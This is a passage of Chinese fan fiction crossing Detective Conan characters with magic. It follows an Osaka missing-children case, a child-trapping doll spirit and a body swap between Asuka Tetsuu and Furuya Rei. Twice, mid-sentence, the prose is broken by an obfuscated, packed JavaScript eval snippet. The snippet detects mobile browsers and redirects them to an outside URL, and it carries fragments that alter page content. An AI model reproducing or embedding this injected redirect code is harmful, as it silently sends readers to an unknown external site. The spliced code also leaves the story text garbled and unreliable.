“脏死了,”飞鸟彻羽用指尖点住他的脑门把他推远了点,捏住提手,把几个纸袋远远地递给他,浑身上下没有一处不说明着嫌弃,“换衣服去。” 四个孩子除了工藤新一一开始为了维持秩序身上相对干净一点,其他三个身上的血迹和刚杀了人似的,在大街上走都得被拦下来送到局子里喝茶。 虽然工藤新一后来翻来爬去的找证据,也没干净到哪去。 给被害人处理了伤口的小泉红子更是重灾区,正面的裙摆整个被鲜血染红,但好在并没有浸透,只是在洗手池把沾血的双手清洗干净,换上衣服就可以了。 经此一役,原计划要在这里解决晚餐的几人也只好不了了之,饿着肚子灰溜溜地原路返回,顺便叫了外送。 飞鸟彻羽对白跑一趟除了浪费时间以外毫无收获这件事心有郁结,瘫在客厅的沙发上,从自己这个角度,正好可以看见工藤新一像勤劳的工蜂一样,来来回回地叠衣服收拾行李箱。 剩下三个被寺井老爹送了回去,因为要应付江古田中学明天的考试。 工藤新一被飞鸟彻羽换了身体还改不掉喜欢直勾勾盯着别人看的毛病弄得背后发毛:“彻哥,你不收拾点东西吗?” 言下之意,随便给自己找点事情做吧! “不知道要带什么,”飞鸟彻羽想不明白工藤新一这样来来回回费时费力的意义在哪,但还是很识趣地点开自己的邮件翻看卷宗,“需要什么到时候再买不就行了。” 是去大版,又不是去亚马逊雨林搞荒野求生。 “是有棘手的案子吗?” 飞鸟彻羽将手机丢给降谷零:“大版那边三个月内丢了六个孩子,正常搜查毫无头绪,说是我们的案子,正好最近那边也要百鬼夜行,我提前过去看一眼。” 降谷零粗略地看了一眼大概内容,直接翻到了失踪人那一页,看见最新失踪的那个名字: 服部平次。 90.不同意? 另一边,被案件折磨得焦头烂额的服部平藏正面对着来自记者的长枪短炮的轰炸。 闪光灯刺眼的光芒不断照在男人黝黑的脸上,背后的屏幕正在展示着此次案件失踪者的信息。 “……综上,警方已经初步掌握了案件的相关线索,并且集中警力,尽快解决案件。” 身穿警服的警官先生一脸正气,信誓旦旦地对着镜头保证的时候,能给人足够的信任感和安全感。 但是循着“头条”的血腥味,蜂拥而至的记者并不买账,回应他的是更频繁的“咔嚓”声。 胸前挂着“东京日报”工牌的女记者率先站起提问,旁边的摄影师迅速拉近镜头,期待着捕捉到一点“警察在犯罪分子面前一败涂地的崩坏表情”——这绝对是个足够有噱头的新闻,能够引发群众的广泛热议。 “我是东京日报记者酒井唯,想请问服部警官,有关这次连环失踪案已经持续了三个月,而在这期间我们依然看不到任何进展——警方的工作落在了何处呢?” “或者我换个问法……” 酒井记者的言语和她的笔力不相上下的辛辣,倒不如说面对面的质疑更显的刁钻。 “请问纳税人的钱都落在了哪里呢?” 另一边和酒井唯一直不对盘的东谷幸也不甘示弱地站起来,顶着“富士山日报”的工牌大声质疑:“是否这次的案件过于棘手,已经超出了警方能力可以处理的范围呢?” 能和酒井唯分庭抗礼,同台竞争的宿敌当然也不会委婉到哪里去: “我们还可以相信警察吗?” 两位记者的尖锐问题,就像是浓硫酸里面倒入清水,瞬间爆沸,先前坐在对面的一个个保证顷刻间化为乌有。 不过事情本就是如此:拿不出实绩来,只是说说漂亮话,做做保证有什么用呢? “我们现在还可以相信谁?” “迟迟未破案是否有警方内部的原因呢?” “失踪的被害人还有生还的可能吗?” “具小道消息称,服部家的公子也失踪了,是否与此次案件有关呢?” 比起贸然公布消息,可能引起的群众恐慌,甚至导致的一系列后果,在场的所有记者都更关心的是,谁能拿到明天的头版,做出足够让大众耳目一新甚至是经久不衰的爆款。 循着名为“新闻”的新鲜血腥味蜂拥而至的鲨鱼在周边盘旋着,期待着对面露出一个破绽,然后就不约而同地扑上去,撕咬下来一块肉来。 * “混账!” 服部平藏说不清楚究竟是警方迟迟未能有所突破更让自己生气,还是自己的好儿子偏偏挑着这个节骨眼上离家出走更让自己窝火,写满厚厚批注的手稿被拍在桌子上,纸片纷飞散落了一地。 外界的舆论已经完全崩盘,事情弄到这种地步,上面已经下了死命令,四十八小时之内如果再没有破案,大阪警署上上下下这么多警察都要卷铺盖滚蛋。 远山银司郎听见办公室里面的巨响,推门进来收拾好凌乱的手稿:“……黑羽昨天下午到的大阪。” 异常处理课是只有东京警署才有的“特产”,飞鸟彻羽此行也是作为外援来提供技术支持……至少名义上是这样。 “那个酒井,酒井唯,就是两年前靠着黑羽彻也的专访一战成名,”服部平藏对同僚既不正派也不道德的打招呼方式实在接受无能,“你猜他先前不联系我们,现在是不是就等着我们先让步?” “这有什么好猜的?不是明摆着,黑羽就差贴在所有人脸上的事实吗?” 说的也是。 黑羽彻也就算不是一手策划,现在这副来势汹汹的做派,也少不了在背后推波助澜。 这两年东京一直想要推进异常处理课在其他地方警署的建设,都被下面不声不响地挡了回去。从全理性的角度,服部平藏不想一个全是非人和魔法师组成的“社会不安定因素”组成的部门发展壮大。 除了在东京有“黑羽彻也”驻守的异常处理课人才济济,这个部门在其他地方都是形同虚设,黑羽彻也在东京再怎么折腾,有黑田兵卫给他担着,不贴在别人面前,其他人都是睁一只眼闭一只眼。 ——所以现在好了,其他地方警署处理不了恶性魔法事件,就只好被卡脖子。 服部平藏之前见过飞鸟彻羽几次,在和黑田兵卫联合执法的时候,偶尔的偶尔塞壬也会被叫来增援。 塞壬明明颜色浅淡神情浅淡,偏偏在湍流的人群中是那么的鲜明,鲜明到服部平藏现在就能模仿出来少年的反应: 不同意?那就换愿意同意的人上来。 电话的忙音在耳边滴滴作响,对面却一直没人接,两人的心渐渐提了起来,直到即将超时的最后一秒才被接起。 对面也开门见山:“我要这次行动的指挥权。” “不可能!”服部平藏拒绝地斩钉截铁,“既然是外援就乖乖听从东道主指……” 话没说完,因为对面把电话挂了。 服部平藏和远山银司郎面面相觑。 “……要不打电话找黑田?” 黑羽彻也是黑田兵卫一手挖掘出来的,再怎么也应该给黑田兵卫一点面子——至少黑田兵卫是正常人,可以正常交流。 服部平藏还是更现实一点:“……他要是愿意给黑田面子,刚刚就不会直接挂电话了。” ——不答应就免谈,没有周旋让步的余地。 贪得无厌野心磅礴,还有股敢把匕首捅进所有人脖子里的锐气…… 黑田兵卫从哪弄来这么个祖宗? 服部平藏毫不怀疑,要是这件事谈不拢,今后大阪的恶性魔法犯罪更会超标,自己这个位置迟早要让脖子软能低的下去头的人来坐。 要是先下手干涉的话…… 黑羽彻也不贪不腐能力超标,自己不拿工资贴钱上班还能养活整个东京异常处理课,日常九九六偶尔零零七——除了性格实在讨厌,超高程度折磨身边人以外,实在是个完美到不出错的奇才。 为爱发电到几乎叫人怀疑别有用心的程度。 啧。 另一边,飞鸟彻羽又接起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14853726|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了电话,这次没浪费双方都很宝贵的时间,秒接。 “上面下了死命令,必须在40小时之内结案,在此期间,大阪警署所有警察都供你差遣。” “至于其他的,”服部平藏报了一个地址,“两小时之后我们面谈。” 早这样说多好? 飞鸟彻羽顶着一张黑脸,实际上心里的坏水比脸上更黑:“可以,我很期待。” * 工藤新一看着手机里面发来的一长串资料,后面坠着的DDL:【明天晚上,快快】,还有肩膀上很神气的白颈鸦拖把,默默发出一声不是这个年龄段该有的叹气。 不同于除了父母之外的其他大人,总是因为工藤新一年纪小所以把他当成“喜欢玩侦探游戏的古怪小孩”,飞鸟彻羽从来不认为年龄是什么问题,一直对小侦探保有一种沉甸甸的信任。 在塞壬的眼中是真真正正实现了“人人平等”的理念——管你是男是女是老是少,全都过来给我干活。 工藤新一接过拖把送过来的小小海螺,挂在书包拉链上,从里面摸出一根肉干喂给拖把,准备循着宗卷的顺序,先去第一个失踪者的家看看。 送海螺的意思:这次的案件,彻哥判断是和魔法有关。 第一个失踪的女孩和工藤新一年纪相仿,正好背着书包的缘故,小侦探很容易就借着“来找新认识的好朋友玩”的名义混进了女孩的家。 先是按照宗卷里面的信息,自己的礼貌和遗传自巨星有希子的脸,工藤新一很快就获得了女孩家长的信任,被安排在客厅看电视。 趁着家长去厨房倒果汁的功夫,工藤新一偷偷溜进女孩的房间,时间紧迫,工藤新一没有再深究细节(这些现勘工作肯定已经都到位了,全都记录在宗卷里面都可以直接翻到),而是开始快速地筛查一切可能会用到的信息: 房间的主人喜欢手作娃娃,家境中上父母分别是律师和教师,性格内向朋友很少,平时有用娃娃玩角色扮演之类的游戏。父母很支持女孩的爱好,工藤新一不太清楚具体的娃娃价格,但是从摆在地板上的精致关节和衣服来看,一定价格不菲。 初步排除离家出走的可能。 女孩的房间是在一楼,窗户面对着草坪,没有防盗窗,根据女孩父母的证词,发现失踪的时候,女孩正在自己的房间里面玩娃娃。 有犯人撬开窗户的可能吗? 工藤新一凑近了,推开窗户想要观察一下窗边的痕迹,很干净,应该是不久的之前才刚刚翻新过,也没有多余的痕迹,没有暴力破窗的…… 窗边突然探出一双黑手! 工藤新一被吓了一激灵,连带着站在他肩膀上偷懒的拖把都差点被颠了出去,乱七八糟地扑扇着翅膀,甩出几根蓬松的羽毛。 紧接着,一个面色黝黑的男孩双手扒住窗沿,探出脑袋,和工藤新一面面相觑。 男孩也被吓了一跳,摔在了身下的草坪里。 工藤新一才想起来,这不就是那个宗卷上最后一个失踪的孩子吗? “服部平次——?!” 91.狐假虎威 “这样吃真的没问题吗?” 工藤新一托着腮,一双半月眼麻木地看着对面,服部平次正在往嘴里塞第二个汉堡。 拖把很神气地站在工藤新一的头上,嘴里叼了根沾了番茄酱的脆薯条。 对面的男孩皮肤黝黑却是纯正的亚洲长相,和自己年龄相仿,带着一顶蓝白相间的鸭舌帽,吃相有种吃了这顿没下顿的悲怆。 腰间配着一把木刀,发现自己在看之后很警惕地将木刀藏在身后,抬眼的间隙里偷偷观察着自己…… ——离家出走之后警惕拉满,进化成街头野生饿死鬼。 服部平次留下一个真诚的牙印,嘴里含糊不清道:“可是我已经……三天没吃饭了?” 你清醒一点,距离“服部平次离家出走”一共没超过24小时。 工藤新一在对面一脸殷切的目光下,默默缩回了自己伸向薯条的手:“……没事,你先吃吧。” 重新给自己点了一份套餐外加冰美式。 理论上小孩子不应该摄入太多咖啡因,但自己现在的临时监护人是彻哥的话,偶尔喝点小咖啡也没什么。 顶着工藤新一目瞪口呆的表情,服部平次横扫了两份单人套餐,开始有一口没一口地喝碳酸饮料,肚子吃饱了才顾得上讨论正事: “你怎么知道我的名字?” 明明两人应该才是第一天见面,服部平次不觉得自己是什么名人。 “现在整个大阪不认识你的人才算稀奇吧?” 工藤新一摸出手机随便点开一个社会新闻板块递给服部平次,上面赫然写着: 【警视监公子服部平次疑似被害】 【独子失踪,悬案未破的真相】 【警视厅不为人知的暗黑交易】 …… “——如你所见,‘服部平次’现在可是最顶流的网络红人。” 服部·离家出走·没钱没手机平次接过一看,都是不知道哪里冒出来的营销号,没有一个大报社:“……这些无良媒体究竟在胡说八道些什么啊?!” 连张图片都没有的假新闻,怎会有这么高的点击量?会信这种新闻的人都没有自己的一点判断力吗? “事实上信以为真的人相当多——毕竟现在破不了案是事实。” 公众往往缺乏分辨力,也很容易被煽动。 工藤新一刷新了几下,发现谣言已经更新迭代到“服部平次加入公安”的程度,实在没能抑制得住自己内心的吐槽欲:“在这样下去,再过几个小时说不定你就要去客串假面超人了。” 反正带着面具也不知道是什么肤色。 “你居然没有发现一点异常吗?” “……我以为是我爸来抓我了。” 行吧。 “你家长电话号码多少?我联系你家长来接你,”工藤新一调出拨号界面,“你自己肯定也清楚,现在大阪警视厅乱成一锅粥了,离家出走也别专门挑这个时候……” “所以我才要先破案——反正只要把案子解决了,其他所有的问题也就都迎刃而解了吧!” “重新自我接受一下:我是侦探服部平次,目标是成为全日本最了不起的名侦探,最喜欢的推理小说家是埃勒里·奎茵!” 服部平次嚎了一半,又不情不愿地吐出后半句:“……要是就现在回去,我爸肯定要狠狠收拾我。” 所以绝对不能就这样空着手回去,不管怎么样要拿点免死金牌保命。 ……倒是很符合他容易热血沸腾的人设。 “虽然但是,最厉害的推理小说家明明应该是柯南·道尔才对——我是顾问侦探工藤新一,现在接受秘密委托,处理这起连环失踪案。” 有正规在编的侦探和“野生”侦探可不一样。 “你不愿意回去,那我先给我的监护人打电话,拜托他现在处理这件事。至于破案……看你的表现。” 不过估计彻哥不会很愿意处理这种闲事。 电话的忙音嘟嘟作响,接通之后对面传来属于降谷零的青年音,旁敲侧击飞鸟彻羽现在的心情是有多么的不爽。 “……怎么?” 工藤新一简述了自己这里的情况,并保证自己会对服部平次的安全负责,电话那边一直没有声音,让他越说越心里没底。 然后听见对面的回复,工藤新一悬着的心终于还是死了,只听对面扬起嗓子,用拖把的脑子都能想到是在和谁说话:“你儿子。” 那一瞬间,工藤新一本就高速运转的大脑更是突破了极限,手比脑子更快地思考,先一步挂断电话,将对面的怒吼隔绝在外。 “……挂了。” 你会不会说话? 飞鸟彻羽,现在是“降谷零”,把手机息屏随手丢在桌子上,继续之前的话题:“我要,不,应该说所有大阪警署接到的魔法案件,希望由异常处理课全权负责——而不是由一群外行在旁边指手画脚。” 飞鸟彻羽特有的语言天赋,能把敬语当警告用,说是“希望”,反正在场的其他人没有谁能听出来有那么一星半点客气的意思。 “你认真的?!” 降谷零怎么也没想到,“非自己不可的案子”居然是代替飞鸟彻羽和服部平藏叫板。 “我拒绝,这种事情根本不可能,想都不要想。” 飞鸟彻羽一向缺德,现在难得能站在道德的制高点上指责别人,当然不会放过这个千载难逢的好机会:“你该为自己的错误负责不是吗?如果不是你私闯民宅,事情根本不会发展到现在这一步——推卸责任可不是美德。” “不给别人添麻烦可是做人的基本,难道这就是警校生,成年人的社会经验?” 降谷零难得的理亏,翻来覆去找不到一点给自己辩白的余地:“……至少你要给我一个剧本或者演讲稿之类的东西,能让我看着念吧?” “不用。” 飞鸟彻羽反正从一开始就对他没有任何的期待:“你人到了,露个脸,就当表个态就行,其他的我会处理。” ……什么都不知道的样子,看起来效果更好。 降谷零用余光瞥见“自己”,原本那张正直的脸上带了点让人不适的凌厉和轻慢,配上飞鸟彻羽特有的,不容置啄的态度,是绝对不会出现在降谷零脸上的表情。 你是真的,演都不带演的! 不过对面的两个男人也是气势汹汹的态度,反倒衬着自己才是格格不入的那一个。 “这次案件会在约定的时间内侦破,造成的社会负面影响,异常处理课也会着手处理——三十多岁步入社会的成年人,还有人能跟在身后,事无巨细地处理 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14863968|141171||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烂摊子,还真是幸福。” 好欠打X3 “不可能,异常处理课必须在其他部门的监管下作业,”对面的男人也分毫不让,将公众的安危交由一群非人手里,是对社会全体的不负责任,“你这样的表述,会让我们怀疑是你在勾结媒体,给大阪警方施压。” “给着警犬的职权,就只能招来警犬,”飞鸟彻羽冷嗤一声,顶着别人的脸连仇恨都不用自己背,对后半句话更是嗤之以鼻,“我想难为你们,还需要专门脏手,然后落人口实?” 反正随便来一个妖魔鬼怪,就会超出正常警察的处理范围。 “真正有能力处理问题的被拒之门外,需要帮助的条子们焦头烂额,这样就能对得起公众的安全?” 飞鸟彻羽起身,扯住降谷零转身离开:“希望二位能好好考虑一下我的提议,相信会有一个能让双方都满意的解决方法的。” 降谷零一直忍到坐在车里,才倒在了飞鸟彻羽脸上:“你根本不是去好好交流的吧?” 半点也不客气,这和根本就去硬抢有什么区别? 就差没动手真上了呗? “这种土匪一样的做派……” 飞鸟彻羽感觉没所谓:“这是好事不是吗?” 青年耸肩,扭开车钥匙,好像刚才强硬的态度只是降谷零的一场精神错乱导致的妄想产物。 “给予真正能处理问题的人全力施为的自由,外行仅仅作为后援提供支持,才是最大限度的保证效率的做法——服部警官和远山警官都是明事理的人,他们会同意的。” 降谷零觉得飞鸟彻羽之所以长到这么大,十九岁了,都没有被人套过麻袋,绝对不是因为他自己有能力规避危险,全部仰赖于塞壬遇见的人都很有素质。 “即使是个非亲非故的毛头小子胡说八道也没关系?” “怎么会?” 飞鸟彻羽的眼中晦暗难明,在后视镜中和降谷零对视,微妙的异样感稍纵即逝,塞壬难得说了句中听的好话。 “……由你来说再合适不过了。” * 办公室的大门慢慢掩上,发出一声沉闷的轻响,一直听到了走廊的脚步声彻底走远,远山银司郎面沉如水: “……降谷家的小子。” 降谷正晃作为前任日本副首相,大权在握,即使十一年前因为年龄被迫退隐,降谷家也依然在内阁活跃。 不少人早就在心里怀疑:黑羽彻也是哪里来得钱养活如此沉重的负担,又是怎么加入公职短短两年,就敢在冗余的体系里面大刀阔斧的折腾,还搭上了黑田兵卫给自己保驾护航? 现在亲眼所见,真相立马水落石出: 哪是年轻人不知天高地厚?分明就是被降谷推在台前的提线木偶! 一回想起刚刚,“黑羽彻也”在“降谷零”面前,全程不置一言,完全没有了之前几次见面的攻击性,在身边人的衬托下堪称“温顺”,展现出来了一个正常非人应该具有的智力水平。 “这事怎么办?” 答应不合适,不答应…… 有一点对面说得没错,异常处理课迟早是要常态化的。就像是□□处理班,炸弹犯的日益猖獗,警方的破案手段跟不上,就只能对罪犯束手无策。 “答应,为什么不答应?” 92.娃娃公馆 吃饱喝足之后,两个侦探终于可以凑在一起处理正事。 服部平次借了一根水笔,在餐巾纸上面总结:“我们跑完了所有报案的,可能与此次案件有关的被害人家庭,被害人年龄在6岁到12岁之间,有男有女,生活轨迹没有重叠,彼此之间并不相识,性格没有明显相似特点,失踪事件间隔三天到一周不等,经家属反应失踪前均没有明显的可疑行为或者与可疑人事接触。” “目前没能找到有什么相似之处。” “好消息是同样没发现被害人的身体组织,所以暂且还可以认为他们还活着。” 带着棒球帽的大阪侦探把帽檐转到面前,蹙着眉,竹刀不离手,嘴里还学着拖把那样,叼了根一头沾了番茄酱的薯条。 “会有无差别攻击的可能吗?” 工藤新一一边手机里劈了啪啦的打着字,一边眼见着又踩到服部平次头上的拖把,和两个如出一辙的叼薯条架势,露出无奈的半月眼:不记得彻哥吸过烟啊? 天知道这只聪明到成了精的白颈鸦是从谁那里学的抽烟。 拖把发现自己被抄袭了,一口将薯条吞掉,用坚硬的喙把服部平次的帽檐啄得咔咔响。 服部平次一时没有头绪,思维就开始发散了:“话说它为什么叫‘拖把’?” 这个名字实在太奇怪了,根本不符合一般正常人命名的规律,或者叛逆主人的命名规律也不沾边。 不是好不好听的问题,究竟是怎么想到的? 服部平次异想天开:“难道是因为它会用拖把拖地吗?” “这种事怎么想都不可能吧?” 可能是因为它的主人也不是什么正常人吧,工藤新一如是想道,但还是努力将话题引回正轨: “我刚刚翻阅了其他地区的宗卷,也发现了其他有可能和这起案件有关的失踪案,因为不同地区并不跨区执法的缘故,所以应该暂时没有和大阪这里的联系起……” 服部平次一把夺过手机,飞速浏览了一下被工藤新一专门标红然后挑出来整理在一起的文件,发现是以大阪为中心,扩散分布的。 “呐,工藤?我有个问题想问,你是怎么弄到这种机密的?” 工藤新一:!!! “……用的我哥的权限。” “不对吧?”服部平次又不是那种傻兮兮的十一岁小鬼,会被这种理由搪塞过去,“我爸都不能在不打申请的情况下随便翻看其他地区的……你哥是警视总监?” 警视总监也要按流程办事——是职业黑客还差不多。 工藤新一决定终止话题:“我们没有搜查令,也没征求被害人及其家属的同意,你知道吧?” 硬要深究下来,属于非法调查。 服部平次伸手在嘴巴旁边做了个拉拉链的动作,然后双手举过头顶。 “应该不是,”工藤新一展开餐巾纸当地图用用,用水笔点出一个个墨迹充当坐标,最后画了一个标准的圆形将所有的墨点圈起来,“在这个范围内。” 服部平次凑过去一看,是大阪很有名的商业街。 “范围太大了,”几乎横跨了三条街,“而且之前大阪警方已经筛查过了。” “但是你们没有能处理精怪的警察对吧?” 工藤新一喝完最后一口咖啡,拿着拖把没吃完的半包薯条和番茄酱,先去付了钱,然后再折回来背起自己的包,在门口叫了一辆出租车。 “走吧,去碰碰运气。” 鸟类有鸟类的独特视角,在工藤新一的零食诱惑下,拖把不情不愿地叫了两声,召集来了一众常在商业街附近活动的鸦科,呱呱嘎嘎开了一通会。 在拖把的领路下,两人一鸟最终在服装店和寿司店中间的间隙处停了下来。 说是间隙真的一点也不夸张,只有手肘到手腕那么宽的距离,即使是年龄尚小的孩子也很难正身通过。 工藤新一用手机点开“照明”功能,试探性地往里面丢了一块石头,小石块掉在地上,弹了几下,在回声的作用下显得格外明显。 “声音不对,”服部平次把竹刀探进去,又敲了敲墙壁确认,通过回声可以判断内里空间的大概尺寸,“里面实际的空间应该比这大不少。” “进去看看?” 工藤新一还是服部平次都不是会怕事的性格,也没长到学会小心谨慎的年龄,两人一拍即合,工藤新一把书包提在手上,服部平次打头,两人一起挤进旁边的缝隙里。 一直摸黑走了大概三四米的距离,突然前后的阻隔都消失不见,走在前面的服部平次一脚踩空,下意识地回手想要抓住一点什么东西稳住重心的结果,就是两个人一起摔成一团。 走进了才知道这里面确实别有洞天: 看起来是个手作娃娃店铺,墙壁上琳琅满目挂着各种各样的娃娃,工藤新一凑近了一看,清一色的纽扣眼睛,精致的鼻子嘴巴像是有谁亲手绣上去的。 “两位客人想要什么?” 一个尖细的声音从脚边响起,两人低头一看,是一只大概40厘米高的女娃,披着红色的和服,绣着一双水红色的纽扣眼睛,下半张脸很灵动的可以做出各种表情: “我是这里的主人玉子,这里的每一只娃娃都是我亲手做的,喜欢哪一只都可以带回家——每个孩子仅限一只。” 服部平次被眼前的一幕惊讶地瞪大了眼睛,把身边的工藤新一摇得脑浆都要匀了。 活的!活的!活的妖怪! 工藤新一早就见怪不怪了,把震惊到回不过神来的小伙伴扔在脑后,扭头就去找线索。 “我们喜欢哪一只都可以直接拿吗?” “是的!喜欢哪一只都可以,如果没有喜欢的,也可以留下图片,玉子会给你们加急赶制的!” 精怪大多不擅长使用现代电子设备,尤其是手机电脑之类需要联网的,玉子也不例外,店铺还是采用老旧的账本记账。 工藤新一飞快地略读了一遍账本上面的名字,好在玉子的字写的不错,也很少使用片假名。 服部平次对着每只摆放在展台上的娃娃都仔细地审视一遍,每只都拿起来上下左右的不放过任何一个角落,连每一个针脚都认真检查,然后在随手放回原处,所过之处宛如龙卷风过境,留下一片狼藉。 “哎呀!你们两个别乱翻呀!” 玉子想要阻拦两个“土匪”,但是自己才不到腰间的身高和棉花制成的身体真的派不上说什么作用。 服部平次从工作台旁边的抽屉里面翻出来一只半成品:眼睛绣了一只,剩下的那只赫然是人类的眼球! 被服部平次拿在手里的时候,眼珠剧烈地颤动,惊恐地滚来滚去。 服部平次被吓到心脏都跳到嗓子眼,硬生生被自己咽了下去,小心翼翼地将娃娃偷偷塞回原位,假装什么都没发生过,折回来找工藤新一。 工藤新一很快从账本里面发现了一个自己熟悉的名字,但是没写价格,每一只都没写,展台上面的娃娃也没有标价。 “……玉子,每只娃娃的价格不用记录吗?” “不用啊?” 玉子娃娃很认真地回答客人的问题,带有几分天真的残忍:“我说了嘛:每个孩子仅限一只。” “挑走哪一只都可以,但是要自己留下来陪我……你们两个——!” 玉子很快就发现了自己工作台里面的半成品被翻了出来,被激怒的娃娃发出尖锐到刺耳的尖叫:“都说了不许乱翻——” 然后被服部平次一脚踢飞,旁边是拖把幸灾乐祸地嘎嘎叫声: 还没腿高的棉花娃娃,喊来喊去的吵死了。 从踏入缝隙的那一瞬间开始,手机就已经被魔力影响没有信号了,工藤新一当机立断,掏出一直塞在口袋里的海螺: “彻哥?彻哥?!” 没反应。 坏了,忘记彻哥刚被顶了号,现在收不到消息了! “你们两个!太过分了!” 玉子被踢飞出去,落在地上滚了两圈,气得大声尖叫:“抓住他们!” 顷刻间,不只是展台上的娃娃窸窸簌簌地动了起来,还有源源不断地娃娃从他们来时的缝隙里面涌出,将玉子顶在最上面,像是涨潮一样对着两人涌来。 服部平次努力跟在拖把后面坠着跑,一手提着竹刀艰难地清出一条路,一手拖着工藤新一艰难地躲避着,还不忘扯着喉咙大喊:“你那个小玩具究竟有什么用啊!” 之前飞鸟彻羽总是平时很抽象,在关键时刻从来没有掉过链子,但是…… 你再不来我们两个真要交代在这了! * 铃铃铃—— 手机震耳欲聋的尖叫吸引了双方的主意,降谷零看了一眼身旁忙着绘制术阵的飞鸟彻羽,出门接起了电话。 “零?最近还好吗?警校生活怎么样?和朋友相处还愉快吗?” 电话那头是自己一个远方的堂哥,和降谷零的关系并不亲厚,平时也没有交流,生疏到连彼此的年龄都一时半会说不上来的那种。 降谷悠晃大概在十年前就步入内阁为政府效力,是个正经的“老古董”,明明才三十多岁,做事说话老练到几乎老气横秋的程度,连平时一板一眼的降谷零都敬而远之的程度。 现在主动和自己联系也挺意外。 降谷零罕见地和他说话有些紧张,像是在面见长辈时堪称正襟危坐的态度,很正经地回复了对面的问题,隐瞒了自己有个古怪同学的部分。 “你们分配结果快下来了吧?有自己特别想去的部门吗?” 找到理由了。 降谷零再三保证,自己有明确的职业规划,成绩也可以支持自己选择任何想要的岗位,这才打消了家人疑虑。 还真是甜蜜的负担。 “呦,我还以为你不回来了呢?” 好想一拳打在那个讨厌鬼的脸上:“还回来碍你的眼还真是对不起啊。” 降谷零面对着画满了一整个地板的术阵,直言不讳地对飞鸟彻羽表达了自己深度的不信任: “……你这个术阵真没问题吗?” “万一失败了会怎么样?” 之前完全没有经过实验,一次成功的可能性……为了自己的生命安全,降谷零还是不想冒险。 “理论上只要魔力正常运转,就说明没写错——要么完全成功,要么完全失败,一般不会出现出错的可能。” 以魔力运行的复杂程度,随手失误就能研究出来一个新魔法程度为零——就像是原始森林的猴子,尝试再多次也不可能搓出原子弹一样。 【灵魂置换】之前不也没经过实验,也不还是一次就成功了? “不过凡事总有例外,”飞鸟彻羽不想把话说得太死,不做保证就不会食言的道理塞壬还是懂的,“万一没成功的话,说不定就是像那样,只换回来头之类……” “好了!停!你不要再说了!” 一想到这样的结果,降谷零就会怨恨自己为什么会有想象力。 “你尽力而为吧,我相信你。” ——以上乃违心发言。 飞鸟彻羽一看原本属于自己的耳羽在不安地扑棱,和触电了一样抖个不停,就由衷地感到愉悦,不枉自己专门浪费那一点口水。 不过现在还是速战速决好了。 “在一切开始之前,我们先做好约定:” “从现在开始,我希望你可以全身心的信任我,在接下来的过程中,不论发生什么样的事情,都不要对我产生反抗的心理。” 降谷零总感觉自己要是不明不白地答应了,塞壬说不定就要把自己买了:“会发生什么?” “先是脱力,因为现在是由你的身体在供能,被动失去魔力的剥夺感很难克服,然后是是逐渐失去对身体的掌控甚至感知,身体由我接管,我希望在这个过程中你不要产生抵抗心理——毕竟‘降谷零’是一个毫无魔力的普通人类。” 即使是提过分要求的时候,飞鸟彻羽也是理不直气也壮:“我扭转了从属关系,从原本降谷零作为【言灵】的受体,更改为【言灵】的主体,在双方都同意的情况下,通俗来讲,就是我上你的号,代替你完成工作。” “我做不到。” 降谷零实话实说,与其盲目保证导致后续的一系列问题,还不如一开始就把问题摆在明面上。 本来就不是多么熟络的关系,满打满算也不过是相处了一个多月而已,在此期间双方不是在呛声就是在冷战,虽然没有什么实际的依据,但是降谷零真心实意地认为两人八字不合。 别说命中注定的“挚友”,连普通的朋友都算不上,命中注定的“对头”还差不多。 “那就没办法了。” 飞鸟彻羽指节叩了叩门板,外面传来低低的应声,紧接着走进来一个头顶稀疏的老人。这个人降谷零之前还刚刚见过,接送黑羽快斗的那个老人,好像是姓……寺井? “寺井黄之助”反手掩上房门,挺直了佝偻的身子,原本藏在老花镜后面眯起的眼睛流露出些许意气风发的锐利——无论如何都像是那个老迈的管家。 就连嗓音也年轻了至少二十岁,慢条斯理游刃有余,像是在进行一场空前华丽的魔术表演。 “快斗和朋友们在客厅打游戏。” 那就是要尽快的意思。 联想到黑羽快斗拿来“贿赂自己”的易容术,降谷零有种很微妙的危机感,总感觉那张衰老的人皮下面,涌动着难以言喻的敌意。 事实证明飞鸟彻羽非常对得起每一次对自己的怀疑,塞壬从不让别人的质问落到“误会”的范畴: “直接弄晕的话,也符合‘不反抗’的定义。” 还真是没冤枉你! 降谷零几乎在飞鸟彻羽话落的瞬间,就向门外扑去。 ——没有办法掌控周身魔力的“飞鸟彻羽”,连降谷零自己都料理不了,更别说还有一个底细不明的麻烦。 既然这两个人有意要专门背着黑羽快斗,那自己捅到那个孩子面前,就还有一点可供周转的余地。 然后被早有准备的黑羽盗一截住,捏住后颈掐晕了过去,送回到术阵中心的位置,塞壬一边干活一边还不忘说风凉话: “我本以为他会直接喊的。” 说的好像直接喊就能逃脱一样。 黑羽盗一早就习惯了,飞鸟彻羽每次干点什么之后总喜欢假惺惺地来两句,装得好像是什么冰清玉洁似的,实际上皮囊下跳动的是一颗乌黑的心脏。 黑羽快斗在“爱”这方面真的是天赋异禀,不论是感受还是表达都是一流,所以那孩子有一颗柔软的心脏,总想着体会塞壬的苦楚,真心实意地相信飞鸟彻羽不是真正无可救药的坏种。 只是环境使然。 